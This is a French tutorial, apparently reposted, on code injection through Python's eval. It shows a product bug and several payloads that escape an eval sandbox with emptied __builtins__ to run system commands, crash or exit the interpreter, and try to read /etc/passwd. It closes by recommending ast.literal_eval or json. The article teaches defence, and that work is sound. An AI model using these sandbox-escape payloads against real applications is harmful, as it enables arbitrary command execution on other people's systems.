Maison  >  Article  >  développement back-end  >  Introduction aux principes courants d'encapsulation des erreurs et d'utilisation de l'évaluation Python

Introduction aux principes courants d'encapsulation des erreurs et d'utilisation de l'évaluation Python

不言
不言avant
2019-03-25 10:12:112609parcourir

Le contenu de cet article est une introduction aux principes courants d'encapsulation et d'utilisation de Python eval. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer.

Récemment, au cours du processus de révision du code, j'ai découvert qu'il existe de nombreuses utilisations incorrectes d'eval qui entraînent des problèmes d'injection de code. Une utilisation typique consiste à utiliser eval comme dict d'analyse. Certains utilisent simplement eval, et d'autres l'utilisent mal. l'encapsulation. eval est utilisée par tous les produits, ce qui entraîne des problèmes plus graves. Ce sont des leçons sanglantes, donc tout le monde devrait y prêter plus d'attention.

Ce qui suit est un exemple dans un produit réel. Pour plus de détails, voir [bug83055][1] :

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

La requête est directement convertie à partir du POST et peut être directement contrôlée par le user.Si l'utilisateur entre oper_type=__import__('os').system('sleep 5') dans le paramètre url, la commande sleep peut alors être exécutée. Bien entendu, n'importe quelle commande système ou n'importe quel code exécutable peut également être exécuté. Le mal est évident, voyons ce que fait exactement eval et comment le faire en toute sécurité ?

1. Que faire

Pour faire simple, il s'agit d'exécuter une expression

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0

De ces trois morceaux de code, le premier est évidemment utilisé pour le calcul. La seconde consiste à convertir les données de type chaîne en type de données python, voici dict. C'est également une erreur courante dans nos produits. Le troisième est ce que fait le mauvais garçon : exécuter des commandes système.

eval accepte trois paramètres, eval(source[, globals[, locals]]) -> value

globals doit être un chemin et locals doit être une paire clé-valeur, ce qui est pris par défaut Globales et locales du système

2, encapsulation incorrecte

(1) Regardons une section de la fonction d'encapsulation dans l'un de nos codes produit, voir [bug][2] , ou le réseau Recherchez des codes avec un classement plus élevé, par exemple :

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

Ici, __builtins__ est défini sur vide, donc les variables intégrées comme __import__ ont disparu. Cette fonction encapsulée est-elle sûre ? Permettez-moi de le parcourir étape par étape :

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

Éléments de la liste

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Avertissement', 'ZeroDivisionError', '_', 'debug', 'doc', 'import', 'nom', 'package', 'abs', 'all', 'any', 'apply', 'basestring ', ' bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float ', ' format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next ', 'objet', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'inversé', 'round', 'set', 'setattr', 'slice', 'trié', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type ', ' unichr', 'unicode', 'vars', 'xrange', 'zip']

De __builtins__ vous pouvez voir qu'il y a __import__ dans son module, qui peut être utilisé pour effectuer certaines opérations de os. S'il est défini sur vide et que la fonction eval est exécutée, le résultat est le suivant :

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined

Maintenant, il est demandé que __import__ n'est pas défini et ne peut pas être exécuté avec succès. La réponse est évidemment fausse.

Par exemple, l'exécution est la suivante :

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {&#39;__builtins__&#39;:{}})
Segmentation fault (core dumped)

Ici l'utilisateur définit une fonction, et cet appel de fonction provoque directement une erreur de segmentation

Le code suivant sort du interpréteur :

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{&#39;__builtins__&#39;:{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

Ayons une compréhension préliminaire de l'ensemble du processus :

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]

Le sens de ce code python est de trouver la classe du tuple, puis de trouver sa classe de base, qui est un objet, puis passer l'objet recherche ses sous-classes, et les sous-classes spécifiques sont les mêmes que la sortie dans le code. Vous pouvez y voir qu'il existe un module de fichiers et un module zipimporter. Peuvent-ils être utilisés ? Commencez par le fichier

Si l'utilisateur construit :

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{&#39;__builtins__&#39;:{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

Ce mode restreint s'entend simplement comme le bac à sable de l'interpréteur python. Certaines fonctions sont restreintes, comme le système ne peut pas l'être. modifié et le système ne peut pas être modifié. Utilisez certaines fonctions système, telles que le fichier, voir Mode d'exécution restreint pour plus de détails, alors comment le contourner ? A cette époque, nous avons pensé à zipimporter. Si le module importé fait référence au module os, nous pouvons l'utiliser comme le code suivant.

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{&#39;__builtins__&#39;:{}})
Linux
0

Cela vérifie que le safe_eval qui vient d'être effectué n'est réellement pas sûr.

3, comment utiliser

correctement (1) Utilisez ast.literal_eval

(2) Si vous convertissez simplement des caractères en dict, vous pouvez utiliser le format json

Cet article est partout ici. Pour un contenu plus passionnant, vous pouvez faire attention à la colonne Tutoriel vidéo Python sur le site Web PHP chinois !

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer